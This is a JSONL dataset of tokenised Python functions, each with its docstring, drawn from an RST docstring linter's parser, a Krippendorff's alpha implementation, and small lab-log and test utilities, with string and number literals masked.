{"signature": "def __iter__(self):", "body": "while True:<EOL><INDENT>if self.current is not None:<EOL><INDENT>yield self.current<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>self.move()<EOL><DEDENT>", "docstring": "Iterate.", "id": "f11326:c11:m3"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\".format(tk.tok_name[self])<EOL>", "docstring": "Representation.", "id": "f11326:c12:m0"}
{"signature": "def __init__(self, *args):", "body": "super(Token, self).__init__(*args)<EOL>self.kind = TokenKind(self.kind)<EOL>", "docstring": "Initialize.", "id": "f11326:c13:m0"}
{"signature": "def parse(self, filelike, filename):", "body": "self.log = log<EOL>self.source = filelike.readlines()<EOL>src = \"<STR_LIT>\".join(self.source)<EOL>compile(src, filename, \"<STR_LIT>\")<EOL>self.stream = TokenStream(StringIO(src))<EOL>self.filename = filename<EOL>self.all = None<EOL>self.future_imports = set()<EOL>self._accumulated_decorators = []<EOL>return self.parse_module()<EOL>", "docstring": "Parse the given file-like object and return its Module object.", "id": "f11326:c14:m0"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "return self.parse(*args, **kwargs)<EOL>", "docstring": "Call the parse method.", "id": "f11326:c14:m1"}
{"signature": "def consume(self, kind):", "body": "next_token = self.stream.move()<EOL>assert next_token.kind == kind<EOL>", "docstring": "Consume one token and verify it is of the expected kind.", "id": "f11326:c14:m2"}
{"signature": "def leapfrog(self, kind, value=None):", "body": "while self.current is not None:<EOL><INDENT>if self.current.kind == kind and (<EOL>value is None or self.current.value == value<EOL>):<EOL><INDENT>self.consume(kind)<EOL>return<EOL><DEDENT>self.stream.move()<EOL><DEDENT>", "docstring": "Skip tokens in the stream until a certain token kind is reached.\n\n        If `value` is specified, tokens whose values are different will also\n        be skipped.", "id": "f11326:c14:m3"}
{"signature": "def parse_docstring(self):", "body": "self.log.debug(<EOL>\"<STR_LIT>\", self.current.kind, self.current.value<EOL>)<EOL>while self.current.kind in (tk.COMMENT, tk.NEWLINE, tk.NL):<EOL><INDENT>self.stream.move()<EOL>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL><DEDENT>if self.current.kind == tk.STRING:<EOL><INDENT>docstring = self.current.value<EOL>self.stream.move()<EOL>return docstring<EOL><DEDENT>return None<EOL>", "docstring": "Parse a single docstring and return its value.", "id": "f11326:c14:m4"}
{"signature": "def parse_decorators(self):  ", "body": "name = []<EOL>arguments = []<EOL>at_arguments = False<EOL>while self.current is not None:<EOL><INDENT>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL>if self.current.kind == tk.NAME and self.current.value in [\"<STR_LIT>\", \"<STR_LIT:class>\"]:<EOL><INDENT>break<EOL><DEDENT>elif self.current.kind == tk.OP and self.current.value == \"<STR_LIT:@>\":<EOL><INDENT>self._accumulated_decorators.append(<EOL>Decorator(\"<STR_LIT>\".join(name), \"<STR_LIT>\".join(arguments))<EOL>)<EOL>name = []<EOL>arguments = []<EOL>at_arguments = False<EOL><DEDENT>elif self.current.kind == tk.OP and self.current.value == \"<STR_LIT:(>\":<EOL><INDENT>at_arguments = True<EOL><DEDENT>elif self.current.kind == tk.OP and self.current.value == \"<STR_LIT:)>\":<EOL><INDENT>pass<EOL><DEDENT>elif self.current.kind == tk.NEWLINE or self.current.kind == tk.NL:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if not at_arguments:<EOL><INDENT>name.append(self.current.value)<EOL><DEDENT>else:<EOL><INDENT>arguments.append(self.current.value)<EOL><DEDENT><DEDENT>self.stream.move()<EOL><DEDENT>self._accumulated_decorators.append(<EOL>Decorator(\"<STR_LIT>\".join(name), \"<STR_LIT>\".join(arguments))<EOL>)<EOL>", "docstring": "Called after first @ is found.\n\n        Parse decorators into self._accumulated_decorators.\n        Continue to do so until encountering the 'def' or 'class' start token.", "id": "f11326:c14:m5"}
{"signature": "def parse_definitions(self, class_, all=False):", "body": "while self.current is not None:<EOL><INDENT>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL>self.log.debug(\"<STR_LIT>\", self.stream.got_logical_newline)<EOL>if all and self.current.value == \"<STR_LIT>\":<EOL><INDENT>self.parse_all()<EOL><DEDENT>elif (<EOL>self.current.kind == tk.OP<EOL>and self.current.value == \"<STR_LIT:@>\"<EOL>and self.stream.got_logical_newline<EOL>):<EOL><INDENT>self.consume(tk.OP)<EOL>self.parse_decorators()<EOL><DEDENT>elif self.current.value in [\"<STR_LIT>\", \"<STR_LIT:class>\"]:<EOL><INDENT>yield self.parse_definition(class_._nest(self.current.value))<EOL><DEDENT>elif self.current.kind == tk.INDENT:<EOL><INDENT>self.consume(tk.INDENT)<EOL>for definition in self.parse_definitions(class_):<EOL><INDENT>yield definition<EOL><DEDENT><DEDENT>elif self.current.kind == tk.DEDENT:<EOL><INDENT>self.consume(tk.DEDENT)<EOL>return<EOL><DEDENT>elif self.current.value == \"<STR_LIT>\":<EOL><INDENT>self.parse_from_import_statement()<EOL><DEDENT>else:<EOL><INDENT>self.stream.move()<EOL><DEDENT><DEDENT>", "docstring": "Parse multiple definitions and yield them.", "id": "f11326:c14:m6"}
{"signature": "def parse_all(self):", "body": "assert self.current.value == \"<STR_LIT>\"<EOL>self.consume(tk.NAME)<EOL>if self.current.value != \"<STR_LIT:=>\":<EOL><INDENT>raise AllError(\"<STR_LIT>\")<EOL><DEDENT>self.consume(tk.OP)<EOL>if self.current.value not in \"<STR_LIT>\":<EOL><INDENT>raise AllError(\"<STR_LIT>\")<EOL><DEDENT>self.consume(tk.OP)<EOL>self.all = []<EOL>all_content = \"<STR_LIT:(>\"<EOL>while self.current.kind != tk.OP or self.current.value not in \"<STR_LIT>\":<EOL><INDENT>if self.current.kind in (tk.NL, tk.COMMENT):<EOL><INDENT>pass<EOL><DEDENT>elif self.current.kind == tk.STRING or self.current.value == \"<STR_LIT:U+002C>\":<EOL><INDENT>all_content += self.current.value<EOL><DEDENT>else:<EOL><INDENT>raise AllError(<EOL>\"<STR_LIT>\".format(<EOL>self.current.kind<EOL>)<EOL>)<EOL><DEDENT>self.stream.move()<EOL><DEDENT>self.consume(tk.OP)<EOL>all_content += \"<STR_LIT:)>\"<EOL>try:<EOL><INDENT>self.all = eval(all_content, {})<EOL><DEDENT>except BaseException as e:<EOL><INDENT>raise AllError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(all_content, e)<EOL>)<EOL><DEDENT>", "docstring": "Parse the __all__ definition in a module.", "id": "f11326:c14:m7"}
{"signature": "def parse_module(self):", "body": "self.log.debug(\"<STR_LIT>\")<EOL>start = self.line<EOL>docstring = self.parse_docstring()<EOL>children = list(self.parse_definitions(Module, all=True))<EOL>assert self.current is None, self.current<EOL>end = self.line<EOL>cls = Module<EOL>if self.filename.endswith(\"<STR_LIT>\"):<EOL><INDENT>cls = Package<EOL><DEDENT>module = cls(<EOL>self.filename,<EOL>self.source,<EOL>start,<EOL>end,<EOL>[],<EOL>docstring,<EOL>children,<EOL>None,<EOL>self.all,<EOL>None,<EOL>\"<STR_LIT>\",<EOL>)<EOL>for child in module.children:<EOL><INDENT>child.parent = module<EOL><DEDENT>module.future_imports = self.future_imports<EOL>self.log.debug(\"<STR_LIT>\")<EOL>return module<EOL>", "docstring": "Parse a module (and its children) and return a Module object.", "id": "f11326:c14:m8"}
{"signature": "def parse_definition(self, class_):", "body": "start = self.line<EOL>self.consume(tk.NAME)<EOL>name = self.current.value<EOL>self.log.debug(\"<STR_LIT>\", class_.__name__, name)<EOL>self.stream.move()<EOL>if self.current.kind == tk.OP and self.current.value == \"<STR_LIT:(>\":<EOL><INDENT>parenthesis_level = <NUM_LIT:0><EOL>while True:<EOL><INDENT>if self.current.kind == tk.OP:<EOL><INDENT>if self.current.value == \"<STR_LIT:(>\":<EOL><INDENT>parenthesis_level += <NUM_LIT:1><EOL><DEDENT>elif self.current.value == \"<STR_LIT:)>\":<EOL><INDENT>parenthesis_level -= <NUM_LIT:1><EOL>if parenthesis_level == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>self.stream.move()<EOL><DEDENT><DEDENT>if self.current.kind != tk.OP or self.current.value != \"<STR_LIT::>\":<EOL><INDENT>self.leapfrog(tk.OP, value=\"<STR_LIT::>\")<EOL><DEDENT>else:<EOL><INDENT>self.consume(tk.OP)<EOL><DEDENT>if self.current.kind in (tk.NEWLINE, tk.COMMENT):<EOL><INDENT>skipped_error_codes = self.parse_skip_comment()<EOL>self.leapfrog(tk.INDENT)<EOL>assert self.current.kind != tk.INDENT<EOL>docstring = self.parse_docstring()<EOL>decorators = self._accumulated_decorators<EOL>self.log.debug(\"<STR_LIT>\", decorators)<EOL>self._accumulated_decorators = []<EOL>self.log.debug(\"<STR_LIT>\")<EOL>children = list(self.parse_definitions(class_))<EOL>self.log.debug(\"<STR_LIT>\", name)<EOL>end = self.line - <NUM_LIT:1><EOL><DEDENT>else:  <EOL><INDENT>skipped_error_codes = \"<STR_LIT>\"<EOL>docstring = self.parse_docstring()<EOL>decorators = []  <EOL>children = []<EOL>end = self.line<EOL>self.leapfrog(tk.NEWLINE)<EOL><DEDENT>definition = class_(<EOL>name,<EOL>self.source,<EOL>start,<EOL>end,<EOL>decorators,<EOL>docstring,<EOL>children,<EOL>None,<EOL>skipped_error_codes,<EOL>)<EOL>for child in definition.children:<EOL><INDENT>child.parent = definition<EOL><DEDENT>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>class_.__name__,<EOL>name,<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL>return definition<EOL>", "docstring": "Parse a definition and return its value in a `class_` object.", "id": "f11326:c14:m9"}
{"signature": "def parse_skip_comment(self):", "body": "skipped_error_codes = \"<STR_LIT>\"<EOL>if self.current.kind == tk.COMMENT:<EOL><INDENT>if \"<STR_LIT>\" in self.current.value:<EOL><INDENT>skipped_error_codes = \"<STR_LIT>\".join(self.current.value.split(\"<STR_LIT>\")[<NUM_LIT:1>:])<EOL><DEDENT>elif self.current.value.startswith(\"<STR_LIT>\"):<EOL><INDENT>skipped_error_codes = \"<STR_LIT:all>\"<EOL><DEDENT><DEDENT>return skipped_error_codes<EOL>", "docstring": "Parse a definition comment for noqa skips.", "id": "f11326:c14:m10"}
{"signature": "def check_current(self, kind=None, value=None):", "body": "msg = textwrap.dedent(<EOL>\"\"\"<STR_LIT>\"\"\".format(<EOL>self=self<EOL>)<EOL>)<EOL>kind_valid = self.current.kind == kind if kind else True<EOL>value_valid = self.current.value == value if value else True<EOL>assert kind_valid and value_valid, msg<EOL>", "docstring": "Verify the current token is of type `kind` and equals `value`.", "id": "f11326:c14:m11"}
{"signature": "def parse_from_import_statement(self):", "body": "self.log.debug(\"<STR_LIT>\")<EOL>is_future_import = self._parse_from_import_source()<EOL>self._parse_from_import_names(is_future_import)<EOL>", "docstring": "Parse a 'from x import y' statement.\n\n        The purpose is to find __future__ statements.", "id": "f11326:c14:m12"}
{"signature": "def _parse_from_import_source(self):", "body": "assert self.current.value == \"<STR_LIT>\", self.current.value<EOL>self.stream.move()<EOL>is_future_import = self.current.value == \"<STR_LIT>\"<EOL>self.stream.move()<EOL>while (<EOL>self.current is not None<EOL>and self.current.kind in (tk.DOT, tk.NAME, tk.OP)<EOL>and self.current.value != \"<STR_LIT>\"<EOL>):<EOL><INDENT>self.stream.move()<EOL><DEDENT>if self.current is None or self.current.value != \"<STR_LIT>\":<EOL><INDENT>return False<EOL><DEDENT>self.check_current(value=\"<STR_LIT>\")<EOL>assert self.current.value == \"<STR_LIT>\", self.current.value<EOL>self.stream.move()<EOL>return is_future_import<EOL>", "docstring": "Parse the 'from x import' part in a 'from x import y' statement.\n\n        Return true iff `x` is __future__.", "id": "f11326:c14:m13"}
{"signature": "def _parse_from_import_names(self, is_future_import):", "body": "if self.current.value == \"<STR_LIT:(>\":<EOL><INDENT>self.consume(tk.OP)<EOL>expected_end_kinds = (tk.OP,)<EOL><DEDENT>else:<EOL><INDENT>expected_end_kinds = (tk.NEWLINE, tk.ENDMARKER)<EOL><DEDENT>while self.current.kind not in expected_end_kinds and not (<EOL>self.current.kind == tk.OP and self.current.value == \"<STR_LIT:;>\"<EOL>):<EOL><INDENT>if self.current.kind != tk.NAME:<EOL><INDENT>self.stream.move()<EOL>continue<EOL><DEDENT>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL>if is_future_import:<EOL><INDENT>self.log.debug(\"<STR_LIT>\", self.current.value)<EOL>self.future_imports.add(self.current.value)<EOL><DEDENT>self.consume(tk.NAME)<EOL>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL>if self.current.kind == tk.NAME and self.current.value == \"<STR_LIT>\":<EOL><INDENT>self.consume(tk.NAME)  <EOL>if self.current.kind == tk.NAME:<EOL><INDENT>self.consume(tk.NAME)  <EOL><DEDENT><DEDENT>if self.current.value == \"<STR_LIT:U+002C>\":<EOL><INDENT>self.consume(tk.OP)<EOL><DEDENT>self.log.debug(<EOL>\"<STR_LIT>\",<EOL>self.current.kind,<EOL>self.current.value,<EOL>)<EOL><DEDENT>", "docstring": "Parse the 'y' part in a 'from x import y' statement.", "id": "f11326:c14:m14"}
{"signature": "def __init__(self, tree, filename=\"<STR_LIT>\", builtins=None):", "body": "self.tree = tree<EOL>self.filename = filename<EOL>try:<EOL><INDENT>self.load_source()<EOL>self.err = None<EOL><DEDENT>except Exception as err:<EOL><INDENT>self.source = None<EOL>self.err = err<EOL><DEDENT>", "docstring": "Initialise.", "id": "f11326:c15:m0"}
{"signature": "def run(self):", "body": "<EOL>if self.err is not None:<EOL><INDENT>assert self.source is None<EOL>msg = \"<STR_LIT>\" % (<EOL>rst_prefix,<EOL>rst_fail_load,<EOL>\"<STR_LIT>\" % self.err,<EOL>)<EOL>yield <NUM_LIT:0>, <NUM_LIT:0>, msg, type(self)<EOL>module = []<EOL><DEDENT>try:<EOL><INDENT>module = parse(StringIO(self.source), self.filename)<EOL><DEDENT>except SyntaxError as err:<EOL><INDENT>msg = \"<STR_LIT>\" % (<EOL>rst_prefix,<EOL>rst_fail_parse,<EOL>\"<STR_LIT>\" % err,<EOL>)<EOL>yield <NUM_LIT:0>, <NUM_LIT:0>, msg, type(self)<EOL>module = []<EOL><DEDENT>except AllError:<EOL><INDENT>msg = \"<STR_LIT>\" % (<EOL>rst_prefix,<EOL>rst_fail_all,<EOL>\"<STR_LIT>\",<EOL>)<EOL>yield <NUM_LIT:0>, <NUM_LIT:0>, msg, type(self)<EOL>module = []<EOL><DEDENT>for definition in module:<EOL><INDENT>if not definition.docstring:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>unindented = trim(dequote_docstring(definition.docstring))<EOL>rst_errors = list(rst_lint.lint(unindented))<EOL><DEDENT>except Exception as err:<EOL><INDENT>msg = \"<STR_LIT>\" % (<EOL>rst_prefix,<EOL>rst_fail_lint,<EOL>\"<STR_LIT>\" % (definition.name, err),<EOL>)<EOL>yield definition.start, <NUM_LIT:0>, msg, type(self)<EOL>continue<EOL><DEDENT>for rst_error in rst_errors:<EOL><INDENT>if rst_error.level <= <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>msg = rst_error.message.split(\"<STR_LIT:\\n>\", <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>code = code_mapping(rst_error.level, msg)<EOL>assert code < <NUM_LIT:100>, code<EOL>code += <NUM_LIT:100> * rst_error.level<EOL>msg = \"<STR_LIT>\" % (rst_prefix, code, msg)<EOL>yield definition.start + rst_error.line, <NUM_LIT:0>, msg, type(self)<EOL><DEDENT><DEDENT>", "docstring": "Use docutils to check docstrings are valid RST.", "id": "f11326:c15:m1"}
{"signature": "def load_source(self):", "body": "if self.filename in self.STDIN_NAMES:<EOL><INDENT>self.filename = \"<STR_LIT>\"<EOL>if sys.version_info[<NUM_LIT:0>] < <NUM_LIT:3>:<EOL><INDENT>self.source = sys.stdin.read()<EOL><DEDENT>else:<EOL><INDENT>self.source = TextIOWrapper(sys.stdin.buffer, errors=\"<STR_LIT:ignore>\").read()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>handle = tokenize_open(self.filename)<EOL>self.source = handle.read()<EOL>handle.close()<EOL><DEDENT>", "docstring": "Load the source for the specified file.", "id": "f11326:c15:m2"}
{"signature": "def _nominal_metric(v1, v2, **_kwargs):", "body": "return v1 != v2<EOL>", "docstring": "Metric for nominal data.", "id": "f11329:m0"}
{"signature": "def _ordinal_metric(_v1, _v2, i1, i2, n_v):", "body": "if i1 > i2:<EOL><INDENT>i1, i2 = i2, i1<EOL><DEDENT>return (np.sum(n_v[i1:(i2 + <NUM_LIT:1>)]) - (n_v[i1] + n_v[i2]) / <NUM_LIT:2>) ** <NUM_LIT:2><EOL>", "docstring": "Metric for ordinal data.", "id": "f11329:m1"}
{"signature": "def _interval_metric(v1, v2, **_kwargs):", "body": "return (v1 - v2) ** <NUM_LIT:2><EOL>", "docstring": "Metric for interval data.", "id": "f11329:m2"}
{"signature": "def _ratio_metric(v1, v2, **_kwargs):", "body": "return (((v1 - v2) / (v1 + v2)) ** <NUM_LIT:2>) if v1 + v2 != <NUM_LIT:0> else <NUM_LIT:0><EOL>", "docstring": "Metric for ratio data.", "id": "f11329:m3"}
{"signature": "def _coincidences(value_counts, value_domain, dtype=np.float64):", "body": "value_counts_matrices = value_counts.reshape(value_counts.shape + (<NUM_LIT:1>,))<EOL>pairable = np.maximum(np.sum(value_counts, axis=<NUM_LIT:1>), <NUM_LIT:2>)<EOL>diagonals = np.tile(np.eye(len(value_domain)), (len(value_counts), <NUM_LIT:1>, <NUM_LIT:1>))* value_counts.reshape((value_counts.shape[<NUM_LIT:0>], <NUM_LIT:1>, value_counts.shape[<NUM_LIT:1>]))<EOL>unnormalized_coincidences = value_counts_matrices * value_counts_matrices.transpose((<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>)) - diagonals<EOL>return np.sum(np.divide(unnormalized_coincidences, (pairable - <NUM_LIT:1>).reshape((-<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)), dtype=dtype), axis=<NUM_LIT:0>)<EOL>", "docstring": "Coincidence matrix.\n\n    Parameters\n    ----------\n    value_counts : ndarray, with shape (N, V)\n        Number of coders that assigned a certain value to a determined unit, where N is the number of units\n        and V is the value count.\n\n    value_domain : array_like, with shape (V,)\n        Possible values V the units can take.\n        If the level of measurement is not nominal, it must be ordered.\n\n    dtype : data-type\n        Result and computation data-type.\n\n    Returns\n    -------\n    o : ndarray, with shape (V, V)\n        Coincidence matrix.", "id": "f11329:m4"}
{"signature": "def _random_coincidences(value_domain, n, n_v):", "body": "n_v_column = n_v.reshape(-<NUM_LIT:1>, <NUM_LIT:1>)<EOL>return (n_v_column.dot(n_v_column.T) - np.eye(len(value_domain)) * n_v_column) / (n - <NUM_LIT:1>)<EOL>", "docstring": "Random coincidence matrix.\n\n    Parameters\n    ----------\n    value_domain : array_like, with shape (V,)\n        Possible values V the units can take.\n        If the level of measurement is not nominal, it must be ordered.\n\n    n : scalar\n        Number of pairable values.\n\n    n_v : ndarray, with shape (V,)\n        Number of pairable elements for each value.\n\n    Returns\n    -------\n    e : ndarray, with shape (V, V)\n        Random coincidence matrix.", "id": "f11329:m5"}
{"signature": "def _distances(value_domain, distance_metric, n_v):", "body": "return np.array([[distance_metric(v1, v2, i1=i1, i2=i2, n_v=n_v)<EOL>for i2, v2 in enumerate(value_domain)]<EOL>for i1, v1 in enumerate(value_domain)])<EOL>", "docstring": "Distances of the different possible values.\n\n    Parameters\n    ----------\n    value_domain : array_like, with shape (V,)\n        Possible values V the units can take.\n        If the level of measurement is not nominal, it must be ordered.\n\n    distance_metric : callable\n        Callable that return the distance of two given values.\n\n    n_v : ndarray, with shape (V,)\n        Number of pairable elements for each value.\n\n    Returns\n    -------\n    d : ndarray, with shape (V, V)\n        Distance matrix for each value pair.", "id": "f11329:m6"}
{"signature": "def _distance_metric(level_of_measurement):", "body": "return {<EOL>'<STR_LIT>': _nominal_metric,<EOL>'<STR_LIT>': _ordinal_metric,<EOL>'<STR_LIT>': _interval_metric,<EOL>'<STR_LIT>': _ratio_metric,<EOL>}.get(level_of_measurement, level_of_measurement)<EOL>", "docstring": "Distance metric callable of the level of measurement.\n\n    Parameters\n    ----------\n    level_of_measurement : string or callable\n        Steven's level of measurement of the variable.\n        It must be one of 'nominal', 'ordinal', 'interval', 'ratio' or a callable.\n\n    Returns\n    -------\n    metric : callable\n        Distance callable.", "id": "f11329:m7"}
{"signature": "def _transpose_list(list_of_lists):", "body": "return list(map(list, zip(*list_of_lists)))<EOL>", "docstring": "Transpose a list of lists.", "id": "f11329:m8"}
{"signature": "def _reliability_data_to_value_counts(reliability_data, value_domain):", "body": "return np.array([[sum(<NUM_LIT:1> for rate in unit if rate == v) for v in value_domain] for unit in reliability_data.T])<EOL>", "docstring": "Return the value counts given the reliability data.\n\n    Parameters\n    ----------\n    reliability_data : ndarray, with shape (M, N)\n        Reliability data matrix which has the rate the i coder gave to the j unit, where M is the number of raters\n        and N is the unit count.\n        Missing rates are represented with `np.nan`.\n\n    value_domain : array_like, with shape (V,)\n        Possible values the units can take.\n\n    Returns\n    -------\n    value_counts : ndarray, with shape (N, V)\n        Number of coders that assigned a certain value to a determined unit, where N is the number of units\n        and V is the value count.", "id": "f11329:m9"}
{"signature": "def alpha(reliability_data=None, value_counts=None, value_domain=None, level_of_measurement='<STR_LIT>',<EOL>dtype=np.float64):", "body": "if (reliability_data is None) == (value_counts is None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if value_counts is None:<EOL><INDENT>if type(reliability_data) is not np.ndarray:<EOL><INDENT>reliability_data = np.array(reliability_data)<EOL><DEDENT>value_domain = value_domain or np.unique(reliability_data[~np.isnan(reliability_data)])<EOL>value_counts = _reliability_data_to_value_counts(reliability_data, value_domain)<EOL><DEDENT>else:  <EOL><INDENT>if value_domain:<EOL><INDENT>assert value_counts.shape[<NUM_LIT:1>] == len(value_domain),\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>value_domain = tuple(range(value_counts.shape[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>distance_metric = _distance_metric(level_of_measurement)<EOL>o = _coincidences(value_counts, value_domain, dtype=dtype)<EOL>n_v = np.sum(o, axis=<NUM_LIT:0>)<EOL>n = np.sum(n_v)<EOL>e = _random_coincidences(value_domain, n, n_v)<EOL>d = _distances(value_domain, distance_metric, n_v)<EOL>return <NUM_LIT:1> - np.sum(o * d) / np.sum(e * d)<EOL>", "docstring": "Compute Krippendorff's alpha.\n\n    See https://en.wikipedia.org/wiki/Krippendorff%27s_alpha for more information.\n\n    Parameters\n    ----------\n    reliability_data : array_like, with shape (M, N)\n        Reliability data matrix which has the rate the i coder gave to the j unit, where M is the number of raters\n        and N is the unit count.\n        Missing rates are represented with `np.nan`.\n        If it's provided then `value_counts` must not be provided.\n\n    value_counts : ndarray, with shape (N, V)\n        Number of coders that assigned a certain value to a determined unit, where N is the number of units\n        and V is the value count.\n        If it's provided then `reliability_data` must not be provided.\n\n    value_domain : array_like, with shape (V,)\n        Possible values the units can take.\n        If the level of measurement is not nominal, it must be ordered.\n        If `reliability_data` is provided, then the default value is the ordered list of unique rates that appear.\n        Else, the default value is `list(range(V))`.\n\n    level_of_measurement : string or callable\n        Steven's level of measurement of the variable.\n        It must be one of 'nominal', 'ordinal', 'interval', 'ratio' or a callable.\n\n    dtype : data-type\n        Result and computation data-type.\n\n    Returns\n    -------\n    alpha : `dtype`\n        Scalar value of Krippendorff's alpha of type `dtype`.\n\n    Examples\n    --------\n    >>> reliability_data = [[np.nan, np.nan, np.nan, np.nan, np.nan, 3, 4, 1, 2, 1, 1, 3, 3, np.nan, 3],\n    ...                     [1, np.nan, 2, 1, 3, 3, 4, 3, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan],\n    ...                     [np.nan, np.nan, 2, 1, 3, 4, 4, np.nan, 2, 1, 1, 3, 3, np.nan, 4]]\n    >>> print(round(alpha(reliability_data=reliability_data, level_of_measurement='nominal'), 6))\n    0.691358\n    >>> print(round(alpha(reliability_data=reliability_data, level_of_measurement='interval'), 6))\n    0.810845\n    >>> value_counts = np.array([[1, 0, 0, 0],\n    ...                          [0, 0, 0, 0],\n    ...                          [0, 2, 0, 0],\n    ...                          [2, 0, 0, 0],\n    ...                          [0, 0, 2, 0],\n    ...                          [0, 0, 2, 1],\n    ...                          [0, 0, 0, 3],\n    ...                          [1, 0, 1, 0],\n    ...                          [0, 2, 0, 0],\n    ...                          [2, 0, 0, 0],\n    ...                          [2, 0, 0, 0],\n    ...                          [0, 0, 2, 0],\n    ...                          [0, 0, 2, 0],\n    ...                          [0, 0, 0, 0],\n    ...                          [0, 0, 1, 1]])\n    >>> print(round(alpha(value_counts=value_counts, level_of_measurement='nominal'), 6))\n    0.691358\n    >>> # The following examples were extracted from\n    >>> # https://www.statisticshowto.datasciencecentral.com/wp-content/uploads/2016/07/fulltext.pdf, page 8.\n    >>> reliability_data = [[1, 2, 3, 3, 2, 1, 4, 1, 2, np.nan, np.nan, np.nan],\n    ...                     [1, 2, 3, 3, 2, 2, 4, 1, 2, 5, np.nan, 3.],\n    ...                     [np.nan, 3, 3, 3, 2, 3, 4, 2, 2, 5, 1, np.nan],\n    ...                     [1, 2, 3, 3, 2, 4, 4, 1, 2, 5, 1, np.nan]]\n    >>> print(round(alpha(reliability_data, level_of_measurement='ordinal'), 3))\n    0.815\n    >>> print(round(alpha(reliability_data, level_of_measurement='ratio'), 3))\n    0.797", "id": "f11329:m10"}
{"signature": "def isEverythingGood(verbose=False):", "body": "global ALLGOOD<EOL>swhlab.loglevel=swhlab.loglevel_SILENT   <EOL>if verbose:<EOL><INDENT>swhlab.loglevel=swhlab.loglevel_DEBUG<EOL><DEDENT>try:<EOL><INDENT>shutil.rmtree('<STR_LIT>') <EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>os.mkdir('<STR_LIT>')<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if os.path.isdir('<STR_LIT>'):<EOL><INDENT>swhlab.plotting.core.IMAGE_SAVE=True<EOL>swhlab.plotting.core.IMAGE_SHOW=False        <EOL>unittest.main()<EOL>if ALLGOOD:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>", "docstring": "return True if all unit tests pass.", "id": "f11332:m0"}
{"signature": "def readLog(fname=\"<STR_LIT>\",onlyAfter=datetime.datetime(year=<NUM_LIT>,month=<NUM_LIT:1>,day=<NUM_LIT:1>)):", "body": "with open(fname) as f:<EOL><INDENT>raw=f.read().split(\"<STR_LIT:\\n>\")<EOL><DEDENT>efforts=[] <EOL>for line in raw[<NUM_LIT:1>:]:<EOL><INDENT>line=line.strip().split(\"<STR_LIT:U+002C>\")<EOL>date=datetime.datetime.strptime(line[<NUM_LIT:0>], \"<STR_LIT>\")<EOL>if onlyAfter and date<onlyAfter:<EOL><INDENT>continue<EOL><DEDENT>if len(line)<<NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>for project in line[<NUM_LIT:2>:]:<EOL><INDENT>project=project.strip()<EOL>if len(project):<EOL><INDENT>efforts.append([date,project])<EOL><DEDENT><DEDENT><DEDENT>return efforts<EOL>", "docstring": "return a list of [stamp, project] elements.", "id": "f11338:m0"}
{"signature": "def fileModifiedTimestamp(fname):", "body": "modifiedTime=os.path.getmtime(fname)<EOL>stamp=time.strftime('<STR_LIT>', time.localtime(modifiedTime))<EOL>return stamp<EOL>", "docstring": "return \"YYYY-MM-DD\" when the file was modified.", "id": "f11339:m0"}
{"signature": "def loadResults(resultsFile):", "body": "with open(resultsFile) as f:<EOL><INDENT>raw=f.read().split(\"<STR_LIT:\\n>\")<EOL><DEDENT>foldersByDay={}<EOL>for line in raw:<EOL><INDENT>folder=line.split('<STR_LIT:\">')[<NUM_LIT:1>]+\"<STR_LIT:\\\\>\"<EOL>line=[]+line.split('<STR_LIT:\">')[<NUM_LIT:2>].split(\"<STR_LIT:U+002CU+0020>\")<EOL>for day in line[<NUM_LIT:1>:]:<EOL><INDENT>if not day in foldersByDay:<EOL><INDENT>foldersByDay[day]=[]<EOL><DEDENT>foldersByDay[day]=foldersByDay[day]+[folder]<EOL><DEDENT><DEDENT>nActiveDays=len(foldersByDay)<EOL>dayFirst=sorted(foldersByDay.keys())[<NUM_LIT:0>]<EOL>dayLast=sorted(foldersByDay.keys())[-<NUM_LIT:1>]<EOL>dayFirst=datetime.datetime.strptime(dayFirst, \"<STR_LIT>\" )<EOL>dayLast=datetime.datetime.strptime(dayLast, \"<STR_LIT>\" )<EOL>nDays = (dayLast - dayFirst).days + <NUM_LIT:1><EOL>emptyDays=<NUM_LIT:0><EOL>for deltaDays in range(nDays):<EOL><INDENT>day=dayFirst+datetime.timedelta(days=deltaDays)<EOL>stamp=datetime.datetime.strftime(day, \"<STR_LIT>\" )<EOL>if not stamp in foldersByDay:<EOL><INDENT>foldersByDay[stamp]=[]<EOL>emptyDays+=<NUM_LIT:1><EOL><DEDENT><DEDENT>percActive=nActiveDays/nDays*<NUM_LIT:100><EOL>print(\"<STR_LIT>\"%(nActiveDays,nDays,percActive))<EOL>return foldersByDay<EOL>", "docstring": "returns a dict of active folders with days as keys.", "id": "f11339:m2"}
